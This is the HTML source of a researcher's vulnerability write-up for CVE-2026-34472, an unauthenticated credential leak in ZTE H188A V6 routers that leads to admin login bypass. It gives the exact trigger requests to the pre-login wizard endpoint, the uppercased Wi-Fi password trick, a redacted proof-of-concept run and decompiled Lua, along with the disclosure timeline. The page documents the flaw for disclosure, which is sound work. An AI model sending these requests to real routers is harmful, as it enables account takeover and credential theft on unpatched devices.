README.md
Rendering markdown...
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CVE-2026-34472: ZTE H188A Auth Bypass via Leaked Credentials</title>
<meta name="description" content="Technical writeup for CVE-2026-34472, an unauthenticated wizard-interface exposure in ZTE ZXHN H188A V6 firmware that leaks administrator, WLAN, and PPPoE credentials and turns that leak into management-interface auth bypass.">
<meta name="theme-color" content="#06080b">
<meta property="og:title" content="CVE-2026-34472: ZTE H188A Auth Bypass via Leaked Credentials">
<meta property="og:description" content="Observed exploit path: unauthenticated requests to the pre-login wizard interface return admin, WLAN, and PPPoE credentials. Those leaked secrets let an attacker cross the login boundary and take over the management interface.">
<meta property="og:type" content="article">
<meta property="og:url" content="https://minanagehsalalma.github.io/cve-2026-34472-auth-bypass-zte-h188a-router/">
<meta property="og:image" content="https://minanagehsalalma.github.io/cve-2026-34472-auth-bypass-zte-h188a-router/images/Image1.png">
<meta property="og:image:alt" content="Redacted validation overview for CVE-2026-34472">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="CVE-2026-34472: ZTE H188A Auth Bypass via Leaked Credentials">
<meta name="twitter:description" content="Observed exploit path: unauthenticated wizard requests disclose admin, WLAN, and PPPoE credentials. Those leaked secrets then become a direct path to management-interface auth bypass.">
<meta name="twitter:image" content="https://minanagehsalalma.github.io/cve-2026-34472-auth-bypass-zte-h188a-router/images/Image1.png">
<link rel="canonical" href="https://minanagehsalalma.github.io/cve-2026-34472-auth-bypass-zte-h188a-router/">
<link rel="icon" href="favicon.svg" type="image/svg+xml">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@400;500;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="assets/site.css?v=34472-8">
</head>
<body>
<div class="shell">
<header class="nav">
<a class="brand" href="#top">CVE-2026-34472</a>
<button class="nav-toggle" type="button" aria-expanded="false" aria-controls="nav-links">
<span class="sr-only">Toggle navigation</span>
<span></span>
<span></span>
<span></span>
</button>
<nav class="nav-links" id="nav-links" aria-label="Sections">
<a href="#summary">Summary</a>
<a href="#evidence">Evidence</a>
<a href="#root-cause">Root Cause</a>
<a href="#affected-devices">Devices</a>
<a href="#timeline">Timeline</a>
<a href="#code">Code</a>
<a href="#sources">Sources</a>
</nav>
</header>
<section class="hero" id="top">
<div class="hero-grid">
<div class="hero-copy">
<div class="eyebrow">Credential Disclosure</div>
<h1>
<span class="hero-id">CVE-2026-34472</span>
<span class="hero-title-main">ZTE H188A Auth Bypass</span>
<span class="hero-title-sub">via Leaked Credentials</span>
</h1>
<figure class="image-card hero-artifact hero-artifact-inline">
<img src="images/Image1.png" alt="Redacted proof screenshot showing multiple affected targets and extracted fields">
<figcaption>Redacted proof from the original validation set showing repeated extraction of administrator defaults, WLAN PSKs, PPPoE usernames, and SSIDs from exposed wizard handlers.</figcaption>
</figure>
<p class="sub">I validated an unauthenticated credential disclosure path in the ZXHN H188A V6 web interface and then traced the code path that makes it reachable. The observed exploit path leaks pre-login wizard data through <code>tedataNotLoginData</code>; on this router, the leaked Wi-Fi passphrase becomes the default administrator password once uppercased, which is why the disclosure turns into admin-panel auth bypass. The decompiled root cause is broader and shows that root-path requests can override routing with attacker-controlled <code>_type</code> and <code>_tag</code> values before the normal <code>QuickSetupEnable</code> gate runs.</p>
<div class="meta-strip" aria-label="Key properties">
<span class="pill pill-danger">No authentication</span>
<span class="pill pill-info">LAN by default, wider if admin UI is exposed</span>
<span class="pill pill-warn">Credential disclosure to auth bypass</span>
<span class="pill pill-ok">No public patch as of 2026-05-18</span>
</div>
</div>
<aside class="hero-side">
<section class="stat-card mobile-collapsible" data-collapsed-mobile="true">
<button class="card-toggle" type="button" aria-expanded="true">
<span class="stat-label">Executive Summary</span>
<span class="card-toggle-icon" aria-hidden="true"></span>
</button>
<div class="card-body">
<dl class="facts-list">
<div><dt>Attack requirement</dt><dd>Reachability to the router management UI</dd></div>
<div><dt>Method</dt><dd>Unauthenticated wizard requests</dd></div>
<div><dt>Impact</dt><dd>WLAN, PPPoE, and admin credential disclosure leading to auth bypass</dd></div>
<div><dt>Affected target</dt><dd>ZTE ZXHN H188A V6</dd></div>
<div><dt>First vendor disclosure</dt><dd>May 2024</dd></div>
<div><dt>Public CVE</dt><dd>CVE-2026-34472</dd></div>
</dl>
</div>
</section>
<section class="stat-card compact-status-card mobile-collapsible" data-collapsed-mobile="true">
<button class="card-toggle" type="button" aria-expanded="true">
<span class="stat-label">Status</span>
<span class="card-toggle-icon" aria-hidden="true"></span>
</button>
<div class="card-body">
<div class="compact-status-list">
<span><strong>Public CVE Assigned</strong> (CVE-2026-34472)</span>
<span style="color: #ef4444;"><strong>Vendor Response:</strong> Dismissed as "low-risk"</span>
<span><strong>Status:</strong> Unpatched 0-day (as of May 2026)</span>
<span><strong>Exposure at report time:</strong> ~500 publicly exposed interfaces</span>
<span><strong>Research disclosure:</strong> May 2024</span>
</div>
</div>
</section>
<section class="stat-card hero-links-card">
<span class="stat-label">Links</span>
<div class="badge-links">
<a href="https://github.com/minanagehsalalma" aria-label="GitHub profile">
<img src="https://img.shields.io/badge/GitHub-minanagehsalalma-111827?style=for-the-badge&logo=github" alt="GitHub badge">
</a>
<a href="https://www.linkedin.com/in/minanagehzekry/" aria-label="LinkedIn profile">
<img src="https://img.shields.io/badge/LinkedIn-Mina%20Zekry-0A66C2?style=for-the-badge&logo=linkedin&logoColor=white" alt="LinkedIn badge">
</a>
<a href="https://x.com/MonxResearch" aria-label="X profile">
<img src="https://img.shields.io/badge/X-MonxResearch-111827?style=for-the-badge&logo=x" alt="X badge">
</a>
<a href="https://medium.com/@monxresearch" aria-label="Medium profile">
<img src="https://img.shields.io/badge/Medium-@monxresearch-12100E?style=for-the-badge&logo=medium" alt="Medium badge">
</a>
</div>
<div class="cta-row hero-cta-row">
<a class="button" href="https://www.cve.org/CVERecord?id=CVE-2026-34472">CVE Record</a>
<a class="ghost" href="https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router">Repository</a>
</div>
</section>
</aside>
</div>
</section>
<div class="layout">
<main>
<section class="panel summary-panel" id="summary">
<div class="summary-head">
<span class="stat-label">Summary</span>
<h2>Executive Summary</h2>
</div>
<p class="summary-lead">The observed exploit path leverages a routing failure across the pre-login wizard path. Unauthenticated requests to the root path can ask the pre-login wizard layer for WLAN and PPPoE data without ever presenting credentials. The routing layer itself trusts query-supplied <code>_type</code> and <code>_tag</code> values when the URL path is empty, meaning an attacker can bypass the normal quick-setup routing gate and land directly in credential-bearing <code>tedataNotLogin</code> data handlers.</p>
<div class="summary-grid">
<section class="summary-block">
<h3>Root Cause</h3>
<p>Root-path requests can override router selection with <code>_type</code> and select a handler with <code>_tag</code>. The <code>QuickSetupEnable</code> check only runs in the fallback path used when <code>_type</code> is absent.</p>
</section>
<section class="summary-block">
<h3>Exploit Path</h3>
<ol class="flow-list compact-flow">
<li>Send a request to <code>/?_type=tedataNotLoginData&_tag=wizard_lua.lua...</code>.</li>
<li>The router accepts the attacker-supplied router type and tag for an empty URL path.</li>
<li>The unauthenticated wizard manager loads the requested wizard data file.</li>
<li>Credential-bearing actions such as <code>getPassword</code>, <code>wlan_get</code>, and <code>ppp_get</code> return data without login.</li>
<li>For this router, the leaked Wi-Fi password becomes the default administrator password when uppercased.</li>
<li>The attacker can then log into the router as an authorized administrator.</li>
</ol>
</section>
<section class="summary-block takeaway-block">
<h3>Key Takeaway</h3>
<p>Authentication is entirely bypassed because the routing logic trusts query parameters over the URL path. One unauthenticated GET request is enough to pull the keys to the entire management interface.</p>
</section>
</div>
</section>
<section class="request-panel" id="evidence">
<div class="request-head">
<div>
<h2>Trigger Requests</h2>
<p>Observed unauthenticated requests used during local validation.</p>
</div>
<span class="mini-pill">Root path, empty URL</span>
</div>
<pre><code id="request-evidence">GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=getPassword&BAND=5GHz&PASSTYPE=PSK
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=wlan_get&BAND=5GHz
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=ppp_get
Representative JSON fields returned during validation:
- KeyPassphrase
- ESSID
- UserName
- _sessionTOKEN</code></pre>
<p class="request-note">The screenshots and PoC material in this directory are consistent with the decompiled explanation in <code>Tedata_notLogin_wizard_page_manage.lua</code>: the request never needs to pass through the authenticated admin flow first.</p>
</section>
<section class="panel" id="affected-devices">
<h2>Affected Devices</h2>
<p>This writeup is strictly scoped to the locally validated H188A V6 branch (<strong>V6.0.10P2_TE</strong> and <strong>V6.0.10P3N3_TE</strong>) cited in the public CVE record. However, given the architectural nature of the routing bypass in <code>router_logic_impl.lua</code>, it is highly probable that other branches sharing this web stack are affected. I invite the community to validate this exposure against later firmware revisions.</p>
<div class="chips chips-grid">
<span class="tag">ZXHN H188A</span>
<span class="tag">V6.0.10P2_TE</span>
<span class="tag">V6.0.10P3N3_TE</span>
<span class="tag">Wizard pre-login stack</span>
</div>
</section>
<section class="panel validation-panel">
<div class="validation-shell">
<div class="validation-header">
<div class="validation-title-group">
<span class="validation-icon" aria-hidden="true">
<svg viewBox="0 0 24 24" role="presentation" focusable="false">
<path d="M9 3h6M10 3v5l-5 8a3 3 0 0 0 2.5 5h9a3 3 0 0 0 2.5-5l-5-8V3" />
<path d="M8.5 15h7" />
</svg>
</span>
<div>
<h2>PoC Snapshot</h2>
<p>A simple PoC run shows the exploit path more clearly than another overview screenshot: the unauthenticated wizard request returns the Wi-Fi credential, and that value becomes the default admin password once uppercased.</p>
</div>
</div>
</div>
<article class="code-card terminal-card">
<div class="code-head">
<div>
<strong>Example PoC run</strong>
<span>Redacted sample output showing how the leak becomes administrator access.</span>
</div>
<button class="copy-button" type="button" data-copy-target="validation-poc">Copy</button>
</div>
<pre><code id="validation-poc" class="terminal-output"><span class="term-line"><span class="term-prompt">PS></span> <span class="term-command">python .\poc\extract_wizard_credentials.py --target 192.168.1.1</span></span>
<span class="term-line"><span class="term-ok">[+]</span> <span class="term-label">wizard endpoint</span> <span class="term-value">reachable without authentication</span></span>
<span class="term-line"><span class="term-ok">[+]</span> <span class="term-label">ssid</span> <span class="term-dots">...............</span> <span class="term-redacted">[REDACTED]</span></span>
<span class="term-line"><span class="term-ok">[+]</span> <span class="term-label">wifi_password</span> <span class="term-dots">......</span> <span class="term-redacted">[REDACTED]</span></span>
<span class="term-line"><span class="term-ok">[+]</span> <span class="term-label">admin_password</span> <span class="term-dots">.....</span> <span class="term-derived">WIFI_PASSWORD.UPPER()</span></span>
<span class="term-line"><span class="term-ok">[+]</span> <span class="term-label">pppoe_username</span> <span class="term-dots">.....</span> <span class="term-redacted">[REDACTED]</span></span>
<span class="term-line"><span class="term-ok">[+]</span> <span class="term-label">result</span> <span class="term-dots">.............</span> <span class="term-result">admin login secret recovered</span></span></code></pre>
</article>
<div class="evidence-grid">
<figure class="image-card figure-panel evidence-card">
<img src="images/wlan-get-redacted.png" alt="Redacted screenshot of wlan_get JSON response in the wizard interface">
<figcaption><strong>wlan_get.</strong> The pre-login wizard path returns WLAN profile data without authentication, including the Wi-Fi value later reused for admin access.</figcaption>
</figure>
<figure class="image-card figure-panel evidence-card">
<img src="images/ppp-get-redacted.png" alt="Redacted screenshot of ppp_get JSON response in the wizard interface">
<figcaption><strong>ppp_get.</strong> The same request surface exposes PPPoE metadata without login.</figcaption>
</figure>
</div>
</div>
</section>
<section class="panel">
<h2>Impact</h2>
<div class="quote-card">
<p><strong>Admin bypass:</strong> on the H188A V6 path I validated, the Wi-Fi password returned by <code>getPassword</code> becomes the default administrator password when uppercased. The leak is the login secret.</p>
<p><strong>Credential exposure:</strong> the same pre-login request family also discloses WLAN and PPPoE values, which expands the impact beyond the router panel itself.</p>
<p><strong>Exposure scale:</strong> at the time of the original report, roughly 500 publicly exposed H188A router interfaces were reachable on the internet.</p>
<p><strong>Control path:</strong> once the attacker has the admin password, the web interface stops being a read-only leak and becomes a full authenticated management surface.</p>
</div>
</section>
<section class="panel" id="root-cause">
<h2>Root Cause Analysis</h2>
<p>The extracted web stack shows a routing and authorization failure across the pre-login wizard path, not just one noisy endpoint. The local proof captures show the disclosure behavior; the decompiled logic explains why those responses exist and why the same path is broader than a single credential leak. Four details matter:</p>
<div class="firmware-grid">
<article class="limit-card firmware-card">
<h3>1. Query-driven router selection</h3>
<p>When the request path is empty, the router logic accepts attacker-supplied <code>_type</code> and <code>_tag</code> parameters directly. That means the request can choose <code>tedataNotLoginData</code> instead of letting the normal URL-path resolver pick the route.</p>
</article>
<article class="limit-card firmware-card">
<h3>2. QuickSetupEnable gate in the wrong place</h3>
<p>The <code>QuickSetupEnable</code> check lives in the URL-path-to-router conversion path and only fires when <code>_type</code> is missing. If the attacker supplies <code>_type</code>, the gate is skipped instead of re-applied later.</p>
</article>
<article class="limit-card firmware-card">
<h3>3. Pre-login data loader trusts the chosen tag</h3>
<p>The <code>tedataNotLogin</code> data manager only checks whether the requester is already logged in. If not, it constructs a file path inside <code>wizard_page_deps</code> and loads the requested wizard data file.</p>
</article>
<article class="limit-card firmware-card">
<h3>4. Wizard handlers expose both reads and writes</h3>
<p>The local validation used read-style actions like <code>getPassword</code>, <code>wlan_get</code>, and <code>ppp_get</code>. The decompiled handler family also includes mutating branches that call <code>cmapi.setinst</code>, which is why the underlying defect is broader than a pure disclosure bug.</p>
</article>
</div>
</section>
<section class="panel">
<h2>Tools Used</h2>
<p>The working set combined live validation, PoC automation, and decompilation-backed inspection. The main tools used across that path were:</p>
<ul class="bullet-tight">
<li><code>Browser DevTools</code> and direct browser requests for local wizard endpoint validation.</li>
<li><code>Python</code> PoC material for repeated extraction of wizard data across the test set.</li>
<li>Decompilation-backed analysis from the private local research workspace used to map the routing and handler chain.</li>
</ul>
</section>
<section class="panel" id="code">
<h2>Where the Bug Happens in Code</h2>
<p>The three most important code points are the route override, the misplaced quick-setup gate, and the unauthenticated wizard data loader. I am showing only the minimum lines needed to explain the vulnerable chain.</p>
<article class="code-card">
<div class="code-head">
<div>
<strong>router_logic_impl.lua</strong>
<span>Root-path requests trust attacker-controlled <code>_type</code> and <code>_tag</code>.</span>
</div>
<button class="copy-button" type="button" data-copy-target="code-routing">Copy</button>
</div>
<pre><code id="code-routing">function RouterLogicClass:__URL2RouterType(urlPath, queryTable)
local routerType, resourceTag
if #urlPath == 0 then
routerType = queryTable._type
if not routerType then
routerType, resourceTag = self:__URLPath2RouterType(urlPath)
else
resourceTag = queryTable._tag
end</code></pre>
</article>
<article class="code-card">
<div class="code-head">
<div>
<strong>urlpath_2type_modifier.lua</strong>
<span>The <code>QuickSetupEnable</code> decision is only applied in the fallback path.</span>
</div>
<button class="copy-button" type="button" data-copy-target="code-gate">Copy</button>
</div>
<pre><code id="code-gate">local QuickSetupEnable = "0"
local QuiSetupTable = _G.cmapi.getinst("OBJ_WEB_QUICKSETUP_ID", "IGD")
if QuiSetupTable.IF_ERRORID == 0 then
QuickSetupEnable = QuiSetupTable.QuickSetupEnable
end
if QuickSetupEnable == "1" then
return "tedataNotLogin", nil
end</code></pre>
</article>
<article class="code-card">
<div class="code-head">
<div>
<strong>Tedata_notLogin_wizard_page_manage.lua</strong>
<span>The data loader only blocks logged-in users, then includes the requested wizard data file.</span>
</div>
<button class="copy-button" type="button" data-copy-target="code-handler">Copy</button>
</div>
<pre><code id="code-handler">function WizardPageMgrClass.getDataFiles(routerType, resourceTag)
g_logger:debug("routerType=" .. routerType)
if usermgr:isLogined() then
return false
end
UpdateCurrentSess()
local file = ""
file = "../page_mgr/wizard_page_deps/" .. resourceTag
return true, {
{file = file}
}, nil</code></pre>
</article>
<article class="code-card">
<div class="code-head">
<div>
<strong>wizard_wlan_config_lua.lua</strong>
<span>Representative wizard handler that writes settings through <code>cmapi.setinst</code>.</span>
</div>
<button class="copy-button" type="button" data-copy-target="code-write">Copy</button>
</div>
<pre><code id="code-write">if FP_ACTION == "Apply" then
while cgilua.POST["_InstID_" .. index] do
t_Data = {}
for j, k in pairs(WLANSETTING_PARA) do
t_Data[k] = cgilua.POST[k .. "_" .. index]
end
tError = cmapi.setinst(WLANSETTING_OBJNAME, cgilua.POST["_InstID_" .. index], t_Data)
if tError.IF_ERRORID ~= 0 then
break
end</code></pre>
</article>
</section>
<section class="panel">
<h2>Vendor Position</h2>
<div class="quote-card">
<p>ZTE PSIRT's February 2, 2026 response characterized this issue as a customer-specific requirement with low risk and stated that it did not plan to assign a CVE. That position does not line up with the practical impact shown by the local captures or with the decompiled route-to-handler chain.</p>
<p><strong>Patch status as of May 18, 2026:</strong> no public ZTE advisory or fixed firmware release was visible in the public record for <code>CVE-2026-34472</code>. The public trail still consists of the CVE/NVD entries and disclosure references.</p>
</div>
</section>
<section class="panel" id="sources">
<h2>Sources</h2>
<p>Primary external references used to anchor the public record for the issue and disclosure timeline.</p>
<div class="reference-cards">
<a class="reference-card" href="https://www.cve.org/CVERecord?id=CVE-2026-34472">
<strong>CVE Record</strong>
<span>Official publication record for CVE-2026-34472.</span>
</a>
<a class="reference-card" href="https://nvd.nist.gov/vuln/detail/CVE-2026-34472">
<strong>NVD</strong>
<span>Published March 30, 2026 with the public description and affected firmware identifiers.</span>
</a>
<a class="reference-card" href="https://gist.github.com/minanagehsalalma/7a8516b9b00d0008f2f25750320560c9">
<strong>Public disclosure Gist</strong>
<span>Researcher-authored public reference submitted after MITRE assignment.</span>
</a>
<a class="reference-card" href="https://www.zte.com.cn/china/about/trust-center/ztepsirt.html">
<strong>ZTE PSIRT</strong>
<span>Vendor security contact and disclosure channel referenced in the 2024 to 2026 communications trail.</span>
</a>
</div>
</section>
</main>
<aside class="sidebar">
<section class="source-card">
<h3>Disclosure Status</h3>
<ul class="bullet-tight">
<li><strong>Initial report:</strong> May 2024</li>
<li><strong>Vendor silence after:</strong> 2024-05-10</li>
<li><strong>ZTE decline:</strong> February 2, 2026</li>
<li><strong>MITRE assignment:</strong> March 27, 2026</li>
<li><strong>NVD publication:</strong> March 30, 2026</li>
</ul>
</section>
<section class="source-card" id="tools">
<h3>Toolchain</h3>
<ul class="bullet-tight">
<li><strong>Live validation:</strong> Browser requests and local PoC runs</li>
<li><strong>PoC automation:</strong> Python extraction script</li>
<li><strong>Root-cause mapping:</strong> Decompilation-backed Lua path analysis</li>
</ul>
</section>
<section class="source-card" id="author">
<h3>Author</h3>
<p><strong>Mina Nageh Salama Zekry</strong></p>
</section>
</aside>
</div>
<section class="panel timeline-panel" id="timeline">
<h2>Disclosure Timeline</h2>
<div class="timeline">
<article class="timeline-item">
<strong>April 26 to May 2, 2024</strong>
<p>Local screenshots and PoC material were created for the H188A V6 wizard exposure path.</p>
</article>
<article class="timeline-item">
<strong>May 2024</strong>
<p>ZTE PSIRT received the original disclosure for the H188A V6 credential-disclosure and auth-bypass issue.</p>
</article>
<article class="timeline-item">
<strong>2024-05-10</strong>
<p>The later MITRE escalation record states that ZTE stopped responding after this point in the original 2024 disclosure thread.</p>
</article>
<article class="timeline-item">
<strong>January 17, 2026</strong>
<p>The issue set was escalated to MITRE with the supporting evidence package and requested researcher credit.</p>
</article>
<article class="timeline-item">
<strong>February 2, 2026</strong>
<p>ZTE PSIRT explicitly declined CVE assignment and described the H188A V6 issue as a customer-specific low-risk requirement.</p>
</article>
<article class="timeline-item">
<strong>March 27, 2026</strong>
<p>MITRE assigned <code>CVE-2026-34472</code> to the H188A V6 wizard credential-disclosure issue.</p>
</article>
<article class="timeline-item">
<strong>March 30, 2026</strong>
<p>A public disclosure reference was submitted to support the assigned CVE IDs.</p>
</article>
</div>
</section>
<footer class="footer">
Technical breakdown updated on 2026-05-18 from redacted validation evidence, decompilation-backed routing analysis, and the 2024-2026 disclosure record.
</footer>
</div>
<script src="assets/site.js?v=34472-8"></script>
</body>
</html>